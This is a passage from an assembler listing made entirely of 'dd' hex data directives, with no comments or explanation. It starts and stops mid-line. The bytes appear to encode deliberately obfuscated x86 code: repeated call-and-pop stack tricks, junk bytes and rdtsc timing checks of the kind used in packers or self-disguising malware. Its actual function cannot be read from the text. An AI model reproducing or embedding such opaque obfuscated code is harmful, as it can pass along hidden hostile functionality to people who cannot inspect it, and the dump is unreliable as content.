5B1BF9C3h, 9DCBB2Ah, 4809199Dh, 95336006h dd 6481581h, 0D89B589h, 0FF610648h, 480F1DB5h, 99D8B06h dd 0FF06480Dh, 4810D995h, 13EE906h, 0BD8B0000h, 64805F9h dd 5820Fh, 81660000h, 0B0860AD3h, 919D8B00h, 0E606481Bh dd 65BD0370h, 0E4064833h, 9E971h, 6D600000h, 0B94136CCh dd 3C91C3A0h, 5830F61h, 66000001h, 75BED381h, 60C8B60Fh dd 1599858Bh, 81660648h, 61F265C7h, 6BAF5h, 810F0000h dd 6, 14B99529h, 0C18B0648h, 13E960h, 5C20000h, 3A4880Eh dd 87DE3D2Fh, 4E7A5DACh, 4293718Eh, 63EE81EAh, 6105D50Ch dd 8904E8C1h, 482A159Dh, 0E2F76606h, 6860Fh, 0BD8B0000h dd 6480825h, 5F53C82Bh, 8D31D18Bh, 6483309h, 0EE9h, 7E95300h dd 0E6000000h, 0E664CE43h, 8B5BB3EDh, 4819A985h, 61BD2B06h dd 8306480Fh, 0F38107C0h, 46332E80h, 8B00C083h, 4831099Dh dd 0FD03B06h, 2183h, 8810F00h, 56000000h, 102D8529h, 0E95B0648h dd 4Ch, 9E9h, 0AAB8E900h, 438E7049h, 8D8B24F6h, 6480125h dd 23A59589h, 0E1830648h, 29840F01h, 60000000h, 0E098503h dd 0DE8B0648h, 25A58361h, 0FE064801h, 17BD8589h, 89F50648h dd 4819A995h, 399D2906h, 0E9064800h, 0 dd 0D639B58Dh, 6A064Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 9D096DC3h, 648335Dh, 56EF8160h dd 8B53C04Bh, 480CC59Dh, 6A6106h, 0C3D9D8Bh, 95FF0648h dd 648092Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 94C35141h, 0BF1229A8h, 6455804h, 0F17B9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0E977E76Ch, 10h, 1299DFE3h, 0E5690D7Ah, 13657289h, 34BE9DA0h dd 0FA9CE781h, 0E1831FC1h, 52006AFCh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0CF96D910h dd 9D8B9AA8h, 6480129h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0E0165E48h, 4B7FC82Eh dd 53C02B64h, 0C63DDF81h, 2B5B1D34h, 11E957D2h, 0B3000000h dd 25C2DABh, 0B1E75626h, 65D24C13h, 0CC7D62B3h, 0C233AD5Fh dd 0D003E8D1h, 7504E983h, 0C9BD89F4h, 0E9064816h, 8, 0CB6C6613h dd 0EB857680h, 1B059589h, 880D0648h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 1FA6C350h, 0BF00F3BCh, 870FB368h, 6, 8159D8Bh, 958B0648h dd 6481405h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 16C35545h, 2FA86AE9h, 56F1B348h, 0B4DF8166h, 8D8B5FD0h dd 6483025h, 16818529h, 8B500648h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0FFC35646h, 8E0FCBF8h, 1Eh, 12E8h, 0AED9F800h dd 0BD9F56h, 0F8C2D319h, 136C6E34h, 89E72E99h, 48186D85h dd 0BD835B06h, 64812FDh, 79840F00h, 0F000000h, 0CB81F8BFh dd 36AB63B9h, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 4C432C46h, 2C44D062h dd 4E808D8Dh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0AEDA10C3h, 0BB43E9D1h, 6AE1FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 4D2463C3h, 2AD9BD83h, 0F000648h, 4B484h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 308A1550h, 6019D1BEh, 0CE9h, 5C4B00h, 18F744Eh, 8889AB2Fh dd 0DF8B6659h, 35BD8B61h, 83064809h, 482AD9BDh, 840F0106h dd 484h, 9E9h, 0BDC11300h, 770932C2h, 0BD83FC37h, 6482AD9h dd 33860F03h, 29000004h, 48107DB5h, 0BD8B6006h, 6480A89h dd 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 230FC357h, 0CA325DF4h, 9D85D8EEh dd 11C98D31h, 0E1800648h, 3810F04h, 66000000h, 0C90AD98Bh dd 151840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0A86607C3h, 0F7D963FBh, 23799D23h dd 0BD8B0648h, 6480775h, 1159858Bh, 6A0648h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0CBD5D1C3h dd 0D70FB1CBh, 31319D8Bh, 0CB800648h, 19853339h, 6A064812h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 7CA9C352h, 0FC6515CDh, 8166A058h, 90DED2D7h dd 0DE8A5250h, 0DC8A310Fh, 6050585Ah, 0B6FB80B9h, 0A3D5BF01h dd 906173DFh, 30CDBD8Bh, 6A0648h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0CFC35242h, 0BAC9956Eh, 0A3DD5469h dd 10E9h, 0C1BC5500h, 32394290h, 187B9AEh, 14398CF7h, 0F54D68CAh dd 0FB8B26C3h, 0B2243481h, 8B26DCF6h, 483171BDh, 4195FF06h dd 6A064807h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 338C355h, 0C89597E3h, 8589FC0Ch dd 64BB689h, 0E9FB8B66h, 1E4h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0E6C35141h, 8BFB8BB4h, 4BB68185h dd 6E806h, 7F630000h, 7417D3BCh, 27D19D31h, 0C75F0648h dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 5D8D89DAh, 8B064833h, 4BB685B5h dd 85858B06h, 0E806481Ah, 0Fh, 0B4662B4Ch, 1315CB9Fh, 0F862E490h dd 89569254h, 4804559Dh, 6895B06h, 8BDFBF0Fh, 48115985h dd 3DD78106h, 89388902h, 6A0446h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 1A7ED0C3h, 3D7AA206h dd 9D2953FCh, 64830BDh, 8B66965Fh, 0F98B50DEh, 53006A96h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0E5914DA3h, 519D0361h, 0FF06482Bh, 4BB681B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 4761105Fh, 9D6CC050h, 0BDBD8B92h, 68064810h, 0CC4290A0h dd 60605250h, 84BE6661h, 310F6187h, 5ADF8B66h, 24048158h dd 33DC735Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0D0C35747h, 9F04E2BBh, 8B40F11Bh, 4829A5BDh, 89858D06h dd 6A064BB6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 1C41C357h, 3222778Eh, 34B5E429h dd 24048950h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0F5C35141h, 31519529h, 95FF0648h, 6480741h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 67C35545h, 0BD8BF553h dd 64803C1h, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 3159E76Eh, 0C16C64FCh, 0CE9h, 31602800h dd 569E0345h, 3EE9A20Fh, 22BF6619h, 359D8B8Ch, 0C7064813h dd 482AD985h, 306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0E90DD58Bh, 9, 98405E2Ah dd 92A0E23Fh, 89BD830Ah, 64BB6h, 4C840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 89FE90C3h, 4817798Dh, 3FE906h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 95842EC3h dd 3195BD89h, 30500648h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 9CFAB2D7h, 0FE9h, 37452D00h dd 0ED67993Ah, 0AC10346Ah, 96191DB4h, 32FD9589h, 0BD830648h dd 6482AD9h, 50850F03h, 6A000004h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 9CD5C350h dd 895CEB0Dh, 482A31BDh, 0DE906h, 250E0000h, 0C9817FDEh dd 14745DEEh, 83996D47h dd 4BB689BDh, 840F0006h, 40Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0A4C35141h, 617856Ah, 89B5FFC5h dd 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 34DC352h, 7836F526h, 9D8B5896h dd 64830BDh, 9F595FFh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0B8553FC3h, 0DE495006h dd 8BB889FBh, 4BB67DB5h, 6C7FC06h, 10001h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0CFC35545h, 0BC564D06h dd 0CF816058h, 23DC059Ch, 0EE86096h, 67000000h, 9615C4DDh dd 0B658C2F3h, 0BC7346F4h, 0F5250C7h, 59585A31h, 5061EA8Ah dd 0FFBB6660h, 6E96049h, 19000000h, 0D4437422h, 61616009h dd 0BD8B9661h, 648007Dh, 0B689B5FFh, 6A064Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 2698E1C3h dd 91BEC0Ch, 48153D9Dh, 0DABF0F06h, 6195FFh, 95890648h dd 6482849h, 0B67DB58Bh, 860F064Bh, 6, 299DBD89h, 858B0648h dd 6480F25h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0F4C35646h, 308F3DE6h, 0BD8B688Dh, 64801F1h, 1155BD01h dd 86890648h, 0C4h, 20C2BF66h, 1405958Bh, 6ABB0648h, 836FDCFEh dd 8B6604C2h, 8C380FBh, 0BF205089h, 69CD6812h, 0CAD4858Dh dd 0CE9064Bh, 0A5000000h, 6C8F293Fh, 0C53EFD42h, 89710ECCh dd 0B886h, 15B52900h, 6A064805h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0C265BBD9h dd 89609ECAh, 482BBDB5h, 14E806h, 0DFA60000h, 9169F162h dd 9ADA1409h, 0B6350049h, 94B748CFh, 50B14A0Ah, 0B5FF615Eh dd 64BB689h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 39C35343h, 0E6B4FFD4h, 0BD8B287Dh, 648313Dh, 5195FFh dd 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0EF97EDC3h, 295335B7h, 0E996F05Bh, 11h, 7B6012EFh dd 1D77BF35h, 0B3A5D3EAh, 9C4AD622h, 0F505078h, 8Fh, 6A965F00h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 367AC351h, 9D03C117h, 64812C9h, 0F8AEAEBBh dd 89B5FF2Ch, 6A064BB6h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0B2C9C357h, 0F1B0DCCh dd 8DB7B791h, 95FFB0B3h, 6481429h, 8B01F781h, 0B5892B34h dd 6481089h, 31A9BD83h, 0F000648h, 3084h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 7291D055h, 0BBCE905Dh, 51BB6696h, 8B9650AFh, 480EF19Dh dd 89B5FF06h, 6A064BB6h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 8062C350h, 71BD8B67h dd 0FF06480Ah, 4813FD95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 560A58F6h dd 14F1B509h, 0B5FF0648h, 64BB689h, 0FF24F380h, 48177D95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8969B607h, 48303DBDh, 0BD096006h, 6481C05h dd 5661CE8Bh, 7DDBD29h, 835B0648h, 482F1DBDh, 840F0206h dd 17h, 2B91BD8Bh, 4ABF0648h, 8B3B39BAh, 48155185h, 0C6F98B06h dd 0C7F80000h, 4816E185h, 6, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0B97DD1DAh dd 42BFD074h, 0E960691Ch, 0FFFFF258h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 46C35141h, 7DB9779h, 0CDC0F715h dd 0B99D29F9h, 8B064809h, 57006AC1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 7FCD8E12h dd 8DF886E6h, 48125585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0E41E7FF5h, 122F3220h dd 90FFE780h, 0DA8B6650h, 1BD8B90h, 6A064807h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 1699AB9Fh, 6AC15FB9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 8DF73941h, 4C555D85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 280A42F3h, 838FCA7Dh, 6A05C0h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8BF3A7C3h dd 48121DBDh, 8B669006h, 0BE850DAh, 0F0000000h, 7207F37h dd 4BC35280h, 0EE9D578h, 0D6000000h, 989057D7h, 7217916Fh dd 4B45593h, 6A905FF9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0FEA3C351h, 0B6A744D9h dd 253485C9h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 2F9E1AC3h, 20019D01h, 6A0648h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0ADC35646h, 32ABA2F1h dd 11E9FB38h, 0A8000000h, 81E06F61h, 0B22E2AA4h, 0EB8B9C2Bh dd 0DE2D2DA2h, 2B2D95FFh, 6A0648h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0E05416C3h, 47F2DA7Ch dd 1059BD8Bh, 8D8D0648h, 64B9938h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 38C35545h, 5369F3D3h, 87BFBF9Dh dd 0FF6AC5B1h, 50006AD1h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0B04781D5h, 0C67BBBE7h dd 8351F780h, 4830E5BDh, 850F0106h, 62h, 0E6A7FBBBh, 0B026A4Bh dd 482305BDh, 89BF5006h, 89255A11h, 6A2404h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 27BC53C3h dd 0C3EBCA71h, 95FFC772h, 6480051h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 7C35545h, 0A25B501h, 0B0E90648h dd 0E800000Eh, 0 dd 67ED815Dh, 6A064C55h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 8F6EC350h, 41953160h dd 0E8064814h, 10h, 0B7BF75A0h, 50C4D285h, 7B2F2A7h, 8745BD82h dd 5BF1BF0Fh, 0CB816661h, 6AB684h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 8DC103C3h, 2B918D89h dd 0BD230648h, 6482B41h, 93DA858Dh, 6A064Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0BC7BF9C3h dd 6C09598Fh, 805C8234h, 6690F5DFh, 50C1CBBFh, 12E8h, 6493F300h dd 0DC32C795h, 25694DEBh, 76D8A93Fh, 6068F7CDh, 5B615A53h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 640CF444h, 35FFh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 89643EC3h dd 25h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0FFDE8BDFh, 481AD185h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 66995B00h, 6ADEB70Fh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0EED2B7C6h, 0D48C44B0h dd 0FFF88220h, 481A1DB5h, 0CF816606h, 95FF6C27h, 64810D9h dd 113E9h, 0A19D8B00h, 0B006481Ch, 61BD8B00h, 0E6064823h dd 5E970h, 1A680000h, 0E4C956C0h, 0EB81F971h, 429178F6h dd 830F613Ch, 0E8h, 26E9BD0Bh, 0B60F0648h, 0F2BB66C8h dd 6BA82h, 0C18B0000h, 31CF781h, 0E8C173D2h, 0FA8B6004h dd 11E8h, 50234B00h, 0A97FF60Ch, 0F9AD2C18h, 1CEF6DDh dd 0E580BB78h, 6661595Bh, 860FE2F7h, 7, 0DF816656h, 2B5BA75Fh dd 29D18BC8h, 482F8995h, 0AE906h, 5E90000h, 0BD000000h dd 24C466FBh, 1745858Bh, 6E80648h, 9E000000h, 0F1986244h dd 0F7CF81A7h, 5B6DDBAAh, 8B07C083h, 4809399Dh, 0C08306h dd 44DBD2Bh, 0D03B0648h, 17830Fh, 95890000h, 6480BE1h dd 47E9h, 6800F00h, 8B000000h, 480085BDh, 0C98D8B06h, 0B06482Fh dd 4805F99Dh, 1E18306h, 26840Fh, 0CBF0000h, 0BB5937EAh dd 2ABCEDA1h, 2FC9A583h, 8BFE0648h, 4814959Dh, 45958906h dd 60064817h, 0E961CC8Ah, 0 dd 0E73EB58Dh, 0FB8B064Bh, 8C48EB81h, 6A1C48h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DC35747h, 0EB57389Eh dd 0A0217ABEh, 7E9DBh, 656B0000h, 9444F8F2h, 0B9950161h dd 0FF06482Fh, 48092D95h, 8E95706h, 32000000h, 3A352C40h dd 5F4A319Fh, 910B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0C620F8DEh, 40226D46h dd 0EE83Ch, 0C2030000h, 0BFB5048h, 0C9A671CBh, 60B08A95h dd 12E8h, 732C5600h, 849C1622h, 73854E53h, 0BE3693A5h dd 0BB18559Fh, 28D4C68h, 83FC5F5Bh, 7DBFFCE1h, 0FC2A740Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 50C35040h dd 668CFD18h, 0B8FE8Bh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0FE8CC356h dd 0BAF98A8Ch, 0 dd 8719D8Bh, 33AD0648h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 452C70C3h, 868FE50h, 8BDF923Fh, 45BD8BF9h, 0D06482Fh dd 88h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh dd 44C35242h, 0BF71625Fh, 0ACAC28D3h, 5958BD0h, 6A064814h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 67FEC356h, 78CD3178h, 8D8B5C77h, 6483025h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 17C35545h dd 0CE775A18h, 818D89F0h, 0E806482Ah, 13h, 0E941868Dh dd 2512D2D3h, 3A380BEAh, 77B0B704h, 894750A4h, 48007DB5h dd 8B505B06h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 8FC35747h dd 7A86D45Ah, 0E93CB359h, 0Fh, 4F8707ADh, 2FE51FE5h, 0AE0F928Fh dd 83411DECh, 4812FDBDh, 840F0006h, 7Eh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 17h, 8EC35545h, 0B8521152h dd 0 dd 8D9BDF80h, 484E808Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 7D32C36h, 3131BD8Bh, 0FFFC0648h dd 11E8E1h, 0F3C90000h, 8E018C7Fh, 987C3E82h, 6541EABBh dd 0F5A5460h, 68Fh, 820F00h, 5B000000h, 2EDFF781h, 0BD837DD1h dd 6482AD9h, 6F840F00h, 6A000004h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0ABDEC352h dd 0ED44EFEEh, 1C5DBD89h, 9D8B0648h, 648275Dh, 8EDC28BFh dd 0D9BD835Bh, 106482Ah, 44B840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 8F73E7C3h dd 0BD832716h, 6482AD9h, 0E8860F03h, 6A000003h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0E68DC353h, 14E964h, 58A40000h, 0C247B3B8h, 41841A64h dd 0BA479BFFh, 653F91C7h, 0F60E95Eh, 686h, 0B9958900h dd 6606481Bh, 9D8BD98Ch, 64822C1h, 6A04E180h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 6628C355h, 840FC90Ah, 125h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 8CC35646h, 0AE8B310Eh, 0F894FD70h dd 158D89FCh, 8B06481Bh, 48115985h, 0DBD8B06h, 33064823h dd 48121985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0D9D8B8Bh, 66064802h, 6090FE8Bh dd 2860Fh, 0DA8B0000h, 5061C78Bh, 8B665250h, 0E9310FD8h dd 8, 6725089h, 0BD957ACAh, 6A90585Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 3965C356h dd 341B3413h, 6A75E063h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0E2382373h, 7679B713h dd 68FC78BCh, 3D73FE70h, 0EE95250h, 4F000000h, 0A354C787h dd 57EFB7D9h, 47864D8h, 8B310FFDh, 81585AFAh, 0FD8F2434h dd 7E93D6Ch, 0F0000000h, 382C95A3h, 95FF0AA5h, 6480741h dd 1BB18D89h, 85890648h, 64BB689h, 0E9DE8B66h, 1BAh, 8D48D6BBh dd 81858B23h, 6A064BB6h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0BD0DC356h, 0FAF47B6h dd 383h, 0FEB70F00h, 1800C7h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0B3B8ADC3h dd 85B58B6Ch, 6A064BB6h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 8B78C355h, 481A8585h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0BD7C795Dh, 9E39DEFh, 6898586h, 1159858Bh dd 5AB70648h, 141BD89h, 46890648h, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0CE9500Fh dd 79000000h, 0C0E7AF96h, 826DA65Dh, 89468A1Bh, 0B5092434h dd 6480071h, 0B681B5FFh, 0BD89064Bh, 6481CD9h, 4E8h, 1F03FF00h dd 50D98B00h, 28E0Fh, 0DF8B0000h, 424448Bh, 0BB665250h dd 310F1D85h, 585ADE8Bh, 810F008Bh, 5, 0F88B6651h, 2444895Fh dd 11E804h, 9AEE0000h, 6222C785h, 99B38AD6h, 900C0A8Eh dd 51F7DBE7h, 5F5BFB8Bh, 38B0F58h, 80000000h, 858D20EBh dd 64BB689h, 50D9B70Fh, 2FE1BB66h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0E818C357h, 880F0825h, 6, 0D159D8Bh, 95FF0648h, 6480741h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 4C35141h dd 0AE13ABC9h, 6A612128h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0D971C356h, 0DA795305h dd 8B56E24Dh, 480FDDBDh, 0D985C706h, 306482Ah, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0EF8AC350h, 8B2A7E60h, 4813E5BDh, 89BD8306h dd 64BB6h, 31840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 6AEEACC3h, 5E8C46B7h dd 78D8589h, 1FE90648h, 8B000000h, 50F88AD8h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0C7FEE9C3h, 0DDBBF895h, 6A7C7019h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0F6F3C350h dd 0CDC62914h, 8947BAC7h, 4808699Dh, 0DA8B6606h, 2AD9BD83h dd 0F030648h, 40D85h, 6810F00h, 89000000h, 482EBD8Dh, 89BD8306h dd 64BB6h, 3F4840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 3EBBBCC3h, 0FF1329FBh dd 4BB689B5h, 68A0F06h, 8B000000h, 4809C59Dh, 0C58D8906h dd 0FF06481Ah, 4809F595h, 719D8906h, 81064800h, 340249DFh dd 7DB58B2Dh, 6A064BB6h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 2993C355h, 8BBFD99Bh dd 8B31ED8Ch, 4806A99Dh, 106C706h, 8B000100h, 481B01BDh dd 9D8B6006h, 6480B91h, 6850Fh, 95890000h, 6483151h, 34895061h dd 0E98D0124h, 0FF064810h, 4BB689B5h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 4533ACFDh, 0B0A4D7FDh, 9D8B527Ah, 64808B5h, 6195FF5Bh dd 6A064800h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 7B2FC353h, 0D37CA7DAh, 0B589AAD7h dd 6481AFDh, 0B67DB58Bh, 6A064Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 3729F7C3h, 8B6083EEh dd 48286595h, 0C2B70F06h, 25858B61h, 6A06480Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 78EAC356h, 0D381665Ah, 8689BDB7h, 0C4h, 91FACCBBh, 5958B48h dd 6A064814h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 2D40C352h, 0B0B3C153h, 6A04C283h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 960DC350h, 234D8509h, 50890648h, 0B1B58920h dd 8D064817h, 4BCAD485h, 0A5BF6606h, 0B886899Fh, 8B000000h dd 481AA9BDh, 1858906h, 6A064828h, 69953100h, 0FF064832h dd 4BB689B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 51C2C2ADh, 51FAB90Bh, 4854CB81h dd 95FF756Dh, 6480051h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0B4C35545h, 84D1239Ah, 0FB8B6676h, 0D98B6650h dd 89243489h, 480A2DB5h, 89B5FF06h, 6A064BB6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 1DFC356h, 48330D9Dh, 0B9BD8B06h, 60064828h dd 0FC4BC081h, 0F605103h, 8Bh, 69D28100h, 6101962Ch, 2995FF61h dd 29064814h, 481F0D95h, 0A9BD8306h, 64831h, 34840Fh, 81660000h dd 962182D7h, 7BCC3EBBh, 6A965053h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 6641C353h dd 8B574C72h, 482A49BDh, 0B5FF5F06h, 64BB689h, 23598D01h dd 95FF0648h, 64813FDh, 18619529h, 0B5FF0648h, 64BB689h dd 0E853006Ah, 3, 5BC35B20h, 